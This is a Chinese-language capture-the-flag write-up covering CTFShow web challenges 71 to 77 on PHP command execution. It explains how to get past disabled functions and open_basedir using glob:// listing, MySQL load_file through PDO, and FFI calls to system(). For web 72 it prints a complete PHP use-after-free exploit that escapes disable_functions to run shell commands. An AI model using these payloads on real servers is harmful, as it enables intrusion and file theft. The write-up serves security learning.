CTFSHOW-WEB入门-命令执行71-77
- 题目:web 71
- 题目:

- 解题思路:分析可知highlight_file() 函数被禁了,先想办法看看根目录:c=var_export(scandir(dirname(‘/’))); 尝试一下发现很惊奇:(全是?)
这种情况我也有点懵:后来仔细一看,这里给出了源码:
简要分析以下代码,在执行$c中的代码之后,首先是获取缓存区的内容,然后将其中的数字字母全部换为?,同时清空缓存区,于是这里出现可开头的一幕,全部都是?,那么我们需要在替换之前让其程序结束掉,不进行替换?的操作,这样就可以得到源文本:再次获取根目录内容—添加一个exit()函数或者die()函数均可:
使用include()函数读取:得到flag
- 题目:
- 题目:web 72
- 题目:源码:
题目进入后的报错提示:
- 解题思路:首先沿用上题的思路试一试:查看根目录内容:但是第一步就悲剧:
这段警告是说:scandir()函数尝试访问一个不在open_basedir允许路径内的目录。open_basedir是一个 PHP 配置指令,用于限制 PHP 脚本能够访问的目录。 只有指定的目录才可以访问。于是(1)首要任务变成了要找出flag所在的目录,查找大佬 的wp发现此题可以使用一种新的思路来找目录:利用php伪协议 glob://
- 题目:源码:
<?php
//获取一个DirectoryIterator的对象
//DirectoryIterator 是 PHP 的一个内置类,用于提供一个面向对象的接口来遍历目录。
//glob:// 流包装器:
//glob:// 是 PHP 的一个流包装器,允许你使用与 glob() 函数相同的模式匹配语法来指定文件路径。
//"glob:///*" 意图是匹配根目录下的所有文件和目录。$a = new DirectoryIterator("glob:///*");foreach ($a as $f) {//遍历$a 目录下的所有路径,以字符串的形式打印出来,间隔空格echo ($f->__toString().' ');} exit(0);
?>
1. 找flag所在目录,利用到上述代码:(这里的?>可以不加,因为eval(' ')里面的?>是不会闭合外层函数的,会将里面的内容当作一个完整的PHP代码进行执行)
c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>
通过这种方法我们得到了flag所在目录:
2. 第二步想办法查看flag内容,先用一下include发现不行:这里又是第二个坎,由于include函数被禁了于是,找大佬的wp,得到一个可以执行PHP系统命令的脚本,适用于类unix的系统: 如Linux或macOS
<!-- 该脚本的主要用途是在目标PHP服务器上执行系统命令,例如读取文件内容、执行任意命令等。通过利用PHP对象注入漏洞,攻击者可以绕过PHP的安全机制,执行恶意代码。 -->
<?phpfunction ctfshow($cmd) {global $abc, $helper, $backtrace;class Vuln {public $a;public function __destruct() { global $backtrace; unset($this->a);$backtrace = (new Exception)->getTrace();if(!isset($backtrace[1]['args'])) {$backtrace = debug_backtrace();}}}class Helper {public $a, $b, $c, $d;}function str2ptr(&$str, $p = 0, $s = 8) {$address = 0;for($j = $s-1; $j >= 0; $j--) {$address <<= 8;$address |= ord($str[$p+$j]);}return $address;}function ptr2str($ptr, $m = 8) {$out = "";for ($i=0; $i < $m; $i++) {$out .= sprintf("%c",($ptr & 0xff));$ptr >>= 8;}return $out;}function write(&$str, $p, $v, $n = 8) {$i = 0;for($i = 0; $i < $n; $i++) {$str[$p + $i] = sprintf("%c",($v & 0xff));$v >>= 8;}}function leak($addr, $p = 0, $s = 8) {global $abc, $helper;write($abc, 0x68, $addr + $p - 0x10);$leak = strlen($helper->a);if($s != 8) { $leak %= 2 << ($s * 8) - 1; }return $leak;}function parse_elf($base) {$e_type = leak($base, 0x10, 2);$e_phoff = leak($base, 0x20);$e_phentsize = leak($base, 0x36, 2);$e_phnum = leak($base, 0x38, 2);for($i = 0; $i < $e_phnum; $i++) {$header = $base + $e_phoff + $i * $e_phentsize;$p_type = leak($header, 0, 4);$p_flags = leak($header, 4, 4);$p_vaddr = leak($header, 0x10);$p_memsz = leak($header, 0x28);if($p_type == 1 && $p_flags == 6) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;$data_size = $p_memsz;} else if($p_type == 1 && $p_flags == 5) { $text_size = $p_memsz;}}if(!$data_addr || !$text_size || !$data_size)return false;return [$data_addr, $text_size, $data_size];}function get_basic_funcs($base, $elf) {list($data_addr, $text_size, $data_size) = $elf;for($i = 0; $i < $data_size / 8; $i++) {$leak = leak($data_addr, $i * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);if($deref != 0x746e6174736e6f63)continue;} else continue;$leak = leak($data_addr, ($i + 4) * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);if($deref != 0x786568326e6962)continue;} else continue;return $data_addr + $i * 8;}}function get_binary_base($binary_leak) {$base = 0;$start = $binary_leak & 0xfffffffffffff000;for($i = 0; $i < 0x1000; $i++) {$addr = $start - 0x1000 * $i;$leak = leak($addr, 0, 7);if($leak == 0x10102464c457f) {return $addr;}}}function get_system($basic_funcs) {$addr = $basic_funcs;do {$f_entry = leak($addr);$f_name = leak($f_entry, 0, 6);if($f_name == 0x6d6574737973) {return leak($addr + 8);}$addr += 0x20;} while($f_entry != 0);return false;}function trigger_uaf($arg) {$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');$vuln = new Vuln();$vuln->a = $arg;}if(stristr(PHP_OS, 'WIN')) {die('This PoC is for *nix systems only.');}$n_alloc = 10; $contiguous = [];for($i = 0; $i < $n_alloc; $i++)$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');trigger_uaf('x');$abc = $backtrace[1]['args'][0];$helper = new Helper;$helper->b = function ($x) { };if(strlen($abc) == 79 || strlen($abc) == 0) {die("UAF failed");}$closure_handlers = str2ptr($abc, 0);$php_heap = str2ptr($abc, 0x58);$abc_addr = $php_heap - 0xc8;write($abc, 0x60, 2);write($abc, 0x70, 6);write($abc, 0x10, $abc_addr + 0x60);write($abc, 0x18, 0xa);$closure_obj = str2ptr($abc, 0x20);$binary_leak = leak($closure_handlers, 8);if(!($base = get_binary_base($binary_leak))) {die("Couldn't determine binary base address");}if(!($elf = parse_elf($base))) {die("Couldn't parse ELF header");}if(!($basic_funcs = get_basic_funcs($base, $elf))) {die("Couldn't get basic_functions address");}if(!($zif_system = get_system($basic_funcs))) {die("Couldn't get zif_system address");}$fake_obj_offset = 0xd0;for($i = 0; $i < 0x110; $i += 8) {write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));}write($abc, 0x20, $abc_addr + $fake_obj_offset);write($abc, 0xd0 + 0x38, 1, 4); write($abc, 0xd0 + 0x68, $zif_system); ($helper->b)($cmd);exit();
}ctfshow("cat flag0.txt");ob_end_flush();
?>
于是将其进行url编码传给c变量:
得到flag:
3. 知识点: 利用glob://协议读取文件目录 利用脚本绕过PHP的限制执行命令
- 题目:web 73
- 题目:

- 解题思路:本题与上一题类似,先采取上一个题目的获取根目录内容,找flag的位置的解法:使用glob伪协议:c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?> 得出flag的位置在根目录下的flagc.txt:
x想方法查看文件内容:include试一试:发现可行:
试一试上一题的脚本:发现被过滤了
(2)另解:这道题过滤没有那么严格,于是可以利用之前的c=var_export(scandir(‘/’));exit();然后使用include或者readgzfile()查看文件也可以。
- 题目:
- 题目:web 74
- 题目:

- 解题思路:先试一试scandir叭:发现被禁了:
只好采用glob协议读取根目录内容:
发现flag的地方之后,想办法读取:使用include() 包含
使用功能类似的表示
- 题目:
1.遍历文件系统
(1) scandir():
功能:返回指定目录中的文件和目录列表。
示例:scandir('../../..');
注意:返回的是文件和目录名的数组,不包括完整路径。
(2) DirectoryIterator 类:
功能:提供了一个面向对象的接口来遍历目录。
示例: php代码:
$iterator = new DirectoryIterator('../../..');
foreach ($iterator as $fileinfo) {if ($fileinfo->isDot()) continue;echo $fileinfo->getFilename() . "\n";
}
注意:提供了更丰富的目录遍历功能,包括过滤和访问文件信息。
2.输出变量信息
(1)var_dump():
功能:输出变量的详细信息,包括类型和值。
示例:var_dump(glob('../../..'.'/*'));
注意:输出格式是为人类阅读设计的,不是合法的PHP代码。
(2)print_r():
功能:以人类可读的格式打印数组或对象。
示例:print_r(glob('../../..'.'/*'));
注意:输出格式更简洁,但同样不是合法的PHP代码。
(3)json_encode():
功能:将PHP变量转换为JSON格式的字符串。
示例:echo json_encode(glob('../../..'.'/*'));
注意:输出是JSON格式的字符串,可以在JavaScript等环境中使用。
1. 于是我们还可以使用echo结合json_encode:c=echo json_encode(glob('../../..'.'/*'));exit();同样得到目录:或者var_export(glob('../../..'.'/*'))----这里使用的是glob()函数然后在利用include或者readgzfile读取文件内容
3. 知识点:查看变量信息的几种表示 1.var_dump()2.var_export() 3.print_r() 4.json_encode()
- 题目:web 75
- 题目:

- 解题思路:先试一下scandir:发现被禁了:
于是再想办法使用glob函数:发现失败了:
说明glob函数被禁用了但是在 PHP 中,<font style="color:rgb(251, 71, 135);">glob</font>函数的行为是独立的,即使<font style="color:rgb(251, 71, 135);">glob</font>函数被禁用,使用<font style="color:rgb(251, 71, 135);">DirectoryIterator</font>和<font style="color:rgb(251, 71, 135);">glob://</font>流也是一种不同的机制,不会直接受到<font style="color:rgb(251, 71, 135);">glob</font>函数禁用的影响。 也就是说我们还可以使用glob协议: c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?> 得到flag的位置:
想办法读取:include ()函数被禁:
想其他办法:readgzfile():也被禁了
思路断了,去看看提示,提示给的第二个payload:上传得到了结果
看看上传的是啥:
- 题目:
try {//创建 PDO 实例, 连接 MySQL 数据库( 主机名 数据库名 用户名 密码)//由于pdo对象提供了可以query()方法可以执行sql语句,于是这里才可以使用load_file函数$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');
//这里的数据库名可以用information_schema代替,表示所有数据库
//ctftraining是根据之前ctfshow题目经验推测的//在 MySQL 中,load_file(完整路径) 函数读取一个文件并将其内容作为字符串返回。// $row 代表的是字符串的每一行//SELECT load_file("/flag36.txt") 是一个有效的 MySQL 查询,//它请求 MySQL 使用 load_file 函数读取指定路径的文件内容。//这块 SQL 是在 PHP 中编写的,但它的执行是在 MySQL 数据库内部进行的。foreach($dbh->query('select load_file("/flag36.txt")') as $row) {echo($row[0])."|";//输出完一行之后用|隔开}
// 关闭数据库$dbh = null;
}catch (PDOException $e) {echo $e->getMessage();exit(0);
}
// 整体逻辑是利用try catch执行一个可能引发错误的语句,如果真的有异常会捕获异常并退出,
// 无异常就正常结束
exit(0);
3. 知识点:利用数据库函数load_file(合法路径)读取文件内容
- 题目:web 76
- 题目:

- 解题思路:采取类似的方法获取flag位置—借助glob协议:c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>得到flag位置:
读取文件内容:试试连接数据库,借助pdo对象的query()函数,使用sql函数load_file:得到结果
- 知识点:与上一题类似,复习巩固
- 题目:
- 题目:web 77
- 题目:

- 解题思路:首先的话,先看看这个根目录的内容:使用glob协议:
发现有两个与flag有关系的文件:flag36.txt和readflag,我们都试着查看一下:借助sql的load_file函数:flag36x.txt内容:
readflag内容:同样的
这个时候发现有点猫腻,应该是这种方法行不通了,有仔细看看题目:发现题目特别说明了php版本是7.4:通过插件查看php版本,确实是7.4以上的
:于是乎上网查看PHP7.4版本以上的命令执行漏洞:找到了一种新思路,由于php7.4以上增加了ffi拓展,这个拓展允许我们直接调用c库里面的函数,甚至可以绕过一些PHP层面的限制,执行c库里面的命令,从而达到命令执行的目的。 - 根据题目给的payload:
这段代码的意思是利用php的ffi拓展,创建一个ffi对象,利用这个对象调用C库里面的system函数,将readflag重定向为1.txt:
代码解析:
- 根据题目给的payload:
- 题目:
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的,作用是将readflag文件重定向为一个1.txt文件,之前遇到过readflag文件。
//他是一个二进制文件,为可执行文件
$ffi->system($a);//通过$ffi去调用system函数
2. 执行之后发现没有回显,于是就进行访问:
3. 知识点:php7.4的ppi拓展利用[https://blog.csdn.net/weixin_63231007/article/details/129105223?ops_request_misc=%257B%2522request%255Fid%2522%253A%25220e73b2c6dae7024b28a37039e65b5c8e%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=0e73b2c6dae7024b28a37039e65b5c8e&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-2-129105223-null-null.142^v101^pc_search_result_base3&utm_term=FFI%E6%8B%93%E5%B1%95%E5%88%A9%E7%94%A8&spm=1018.2226.3001.4187](https://blog.csdn.net/weixin_63231007/article/details/129105223?ops_request_misc=%257B%2522request%255Fid%2522%253A%25220e73b2c6dae7024b28a37039e65b5c8e%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=0e73b2c6dae7024b28a37039e65b5c8e&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-2-129105223-null-null.142^v101^pc_search_result_base3&utm_term=FFI%E6%8B%93%E5%B1%95%E5%88%A9%E7%94%A8&spm=1018.2226.3001.4187)1. 本题目使用的是第四点 <font style="color:#0d0016;">利用FFI:cdef 绕过 disabled_function进行rce</font>
相关文章:
CTFSHOW-WEB入门-命令执行71-77
题目:web 71 题目:解题思路:分析可知highlight_file() 函数被禁了,先想办法看看根目录:cvar_export(scandir(dirname(‘/’))); 尝试一下发现很惊奇:(全是?)这种情况我也…...
浅谈《图解HTTP》
感悟 滑至尾页的那一刻,内心突兀的涌来一阵畅快的感觉。如果说从前对互联网只是懵懵懂懂,但此刻却觉得她是如此清晰而可爱的呈现在哪里。 介绍中说,《图解HTTP》适合作为第一本网络协议书。确实,它就像一座桥梁,连接…...
LLMs瞬间获得视觉与听觉感知,无需专门训练:Meta的创新——在图像、音频和视频任务上实现最优性能。
引言: 问题: 当前的多模态任务(如图像、视频、音频描述生成、编辑、生成等)通常需要针对特定任务训练专门的模型,而现有的方法在跨模态泛化方面存在局限性,难以适应新任务。此外,多模态嵌入反演…...
自研有限元软件与ANSYS精度对比-Bar3D2Node三维杆单元模型-央视大裤衩实例
目录 1、“央视大裤衩”自研有限元软件求解 1.1、选择单元类型 1.2、导入“央视大裤衩”工程 1.3、节点坐标定义 1.4、单元连接关系、材料定义 1.5、约束定义 1.6、外载定义 1.7、矩阵求解 1.8、变形云图展示 1.9、节点位移 1.10、单元应力 1.11、节点支反力 2、“…...
kubernetes 高可用集群搭建
在生产环境中部署 Kubernetes 集群时,确保其高可用性(High Availability, HA)是至关重要的。高可用性不仅意味着减少服务中断时间,还能提高系统的稳定性和可靠性。本文将详细介绍如何搭建一个高可用的 Kubernetes 集群,…...
【C++】STL——vector底层实现
目录 💕 1.vector三个核心 💕2.begin函数,end函数的实现(简单略讲) 💕3.size函数,capacity函数的实现 (简单略讲) 💕4.reserve函数实现 (细节…...
数据结构初探:链表之单链表篇
本文图皆为作者手绘,所有代码基于vs2022运行测试 系列文章目录 数据结构初探:顺序表篇 文章目录 系列文章目录前言一、链表基础概念二、链表的分类简化边界条件处理使代码更清晰简洁提高程序稳定性 1.单链表(不带头不循环的单链表);1.1存储结构;1.2准备工作1.3链表增删查改的实…...
介绍一下Mybatis的底层原理(包括一二级缓存)
表面上我们的就是Sql语句和我们的java对象进行映射,然后Mapper代理然后调用方法来操作数据库 底层的话我们就涉及到Sqlsession和Configuration 首先说一下SqlSession, 它可以被视为与数据库交互的一个会话,用于执行 SQL 语句(Ex…...
Linux基础 ——tmux vim 以及基本的shell语法
Linux 基础 ACWING y总的Linux基础课,看讲义作作笔记。 tmux tmux 可以干嘛? tmux可以分屏多开窗口,可以进行多个任务,断线,不会自动杀掉正在进行的进程。 tmux – session(会话,多个) – window(多个…...
64位的谷歌浏览器Chrome/Google Chrome
64位的谷歌浏览器Chrome/Google Chrome 在百度搜索关键字:chrome,即可下载官方的“谷歌浏览器Chrome/Google Chrome”,但它可能是32位的(切记注意网址:https://www.google.cn/...., 即:google.cnÿ…...
jetson编译torchvision出现 No such file or directory: ‘:/usr/local/cuda/bin/nvcc‘
文章目录 1. 完整报错2. 解决方法 1. 完整报错 jetson编译torchvision,执行python3 setup.py install --user遇到报错 running build_ext error: [Errno 2] No such file or directory: :/usr/local/cuda/bin/nvcc完整报错信息如下: (pytorch) nxnx-desktop:~/Do…...
多线程创建方式三:实现Callable接口
实现Callable第三种方式存在的原因 作用:可以返回线程执行完毕后的结果。 前两种线程创建方式都存在的一个问题:假如线程执行完毕后有一些数据需要返回,他们重写的run方法均不能直接返回结果。 如何实现 ● JDK 5.0提供了Callable接口和FutureTask类来…...
Linux下的编辑器 —— vim
目录 1.什么是vim 2.vim的模式 认识常用的三种模式 三种模式之间的切换 命令模式和插入模式的转化 命令模式和底行模式的转化 插入模式和底行模式的转化 3.命令模式下的命令集 光标移动相关的命令 复制粘贴相关命令 撤销删除相关命令 查找相关命令 批量化注释和去…...
Docker技术相关学习二
一、Docker简介 1.Docker之父Solomon Hykes形容docker就像传统的货运集装箱。 2.docker的特点和优势: 轻量级虚拟化:Docker容器相较于传统的虚拟机更加的轻量和高效,能够快速的启动和停止来节省系统资源。 一致性:确保应用程序在不…...
【人工智能】多模态学习在Python中的应用:结合图像与文本数据的深度探索
《Python OpenCV从菜鸟到高手》带你进入图像处理与计算机视觉的大门! 解锁Python编程的无限可能:《奇妙的Python》带你漫游代码世界 多模态学习是人工智能领域的一个重要研究方向,旨在通过结合多种类型的数据(如图像、文本、音频等)来提高模型的性能。本文将深入探讨多模…...
【MySQL】常用语句
目录 1. 数据库操作2. 表操作3. 数据操作(CRUD)4. 高级查询5. 索引管理6. 用户与权限7. 数据导入导出8. 事务控制9. 其他实用语句注意事项 如果这篇文章对你有所帮助,渴望获得你的一个点赞! 1. 数据库操作 创建数据库 CREATE DATA…...
Docker网络基础
一、Docker网络基础 1.docker安装后会自动创建3中网络,分别为bridge host none docker network ls 2.docker原生bridge网络: docker安装时会创建一个名为docker0的linux bridge,新建的容器会自动桥接到这个接口 bridge模式下没有公有ip,只有宿主机可以…...
重新刷题求职2-DAY2
977. 有序数组的平方 给你一个按 非递减顺序 排序的整数数组 nums,返回 每个数字的平方 组成的新数组,要求也按 非递减顺序 排序。 示例 1: 输入:nums [-4,-1,0,3,10] 输出:[0,1,9,16,100] 解释:平方后…...
[STM32 标准库]EXTI应用场景 功能框图 寄存器
一、EXTI 外部中断在嵌入式系统中有广泛的应用场景,如按钮开关控制,传感器触发,通信接口中断等。其原理都差不多,STM32会对外部中断引脚的边沿进行检测,若检测到相应的边沿会触发中断,在中断中做出相应的处…...
Slint的学习
Slint是什么 Slint是一个跨平台的UI工具包,支持windows,linux,android,ios,web,可以用它来构建申明式UI,后端代码支持rust,c,python,nodejs等语言。 开源地址:https://github.com/slint-ui/slint 镜像地址:https://kkgithub.com/…...
深度学习在微纳光子学中的应用
深度学习在微纳光子学中的主要应用方向 深度学习与微纳光子学的结合主要集中在以下几个方向: 逆向设计 通过神经网络快速预测微纳结构的光学响应,替代传统耗时的数值模拟方法。例如设计超表面、光子晶体等结构。 特征提取与优化 从复杂的光学数据中自…...
(十)学生端搭建
本次旨在将之前的已完成的部分功能进行拼装到学生端,同时完善学生端的构建。本次工作主要包括: 1.学生端整体界面布局 2.模拟考场与部分个人画像流程的串联 3.整体学生端逻辑 一、学生端 在主界面可以选择自己的用户角色 选择学生则进入学生登录界面…...
工业安全零事故的智能守护者:一体化AI智能安防平台
前言: 通过AI视觉技术,为船厂提供全面的安全监控解决方案,涵盖交通违规检测、起重机轨道安全、非法入侵检测、盗窃防范、安全规范执行监控等多个方面,能够实现对应负责人反馈机制,并最终实现数据的统计报表。提升船厂…...
阿里云ACP云计算备考笔记 (5)——弹性伸缩
目录 第一章 概述 第二章 弹性伸缩简介 1、弹性伸缩 2、垂直伸缩 3、优势 4、应用场景 ① 无规律的业务量波动 ② 有规律的业务量波动 ③ 无明显业务量波动 ④ 混合型业务 ⑤ 消息通知 ⑥ 生命周期挂钩 ⑦ 自定义方式 ⑧ 滚的升级 5、使用限制 第三章 主要定义 …...
智能在线客服平台:数字化时代企业连接用户的 AI 中枢
随着互联网技术的飞速发展,消费者期望能够随时随地与企业进行交流。在线客服平台作为连接企业与客户的重要桥梁,不仅优化了客户体验,还提升了企业的服务效率和市场竞争力。本文将探讨在线客服平台的重要性、技术进展、实际应用,并…...
大语言模型(LLM)中的KV缓存压缩与动态稀疏注意力机制设计
随着大语言模型(LLM)参数规模的增长,推理阶段的内存占用和计算复杂度成为核心挑战。传统注意力机制的计算复杂度随序列长度呈二次方增长,而KV缓存的内存消耗可能高达数十GB(例如Llama2-7B处理100K token时需50GB内存&a…...
Web 架构之 CDN 加速原理与落地实践
文章目录 一、思维导图二、正文内容(一)CDN 基础概念1. 定义2. 组成部分 (二)CDN 加速原理1. 请求路由2. 内容缓存3. 内容更新 (三)CDN 落地实践1. 选择 CDN 服务商2. 配置 CDN3. 集成到 Web 架构 …...
Redis的发布订阅模式与专业的 MQ(如 Kafka, RabbitMQ)相比,优缺点是什么?适用于哪些场景?
Redis 的发布订阅(Pub/Sub)模式与专业的 MQ(Message Queue)如 Kafka、RabbitMQ 进行比较,核心的权衡点在于:简单与速度 vs. 可靠与功能。 下面我们详细展开对比。 Redis Pub/Sub 的核心特点 它是一个发后…...
C/C++ 中附加包含目录、附加库目录与附加依赖项详解
在 C/C 编程的编译和链接过程中,附加包含目录、附加库目录和附加依赖项是三个至关重要的设置,它们相互配合,确保程序能够正确引用外部资源并顺利构建。虽然在学习过程中,这些概念容易让人混淆,但深入理解它们的作用和联…...
tomcat指定使用的jdk版本
说明 有时候需要对tomcat配置指定的jdk版本号,此时,我们可以通过以下方式进行配置 设置方式 找到tomcat的bin目录中的setclasspath.bat。如果是linux系统则是setclasspath.sh set JAVA_HOMEC:\Program Files\Java\jdk8 set JRE_HOMEC:\Program Files…...
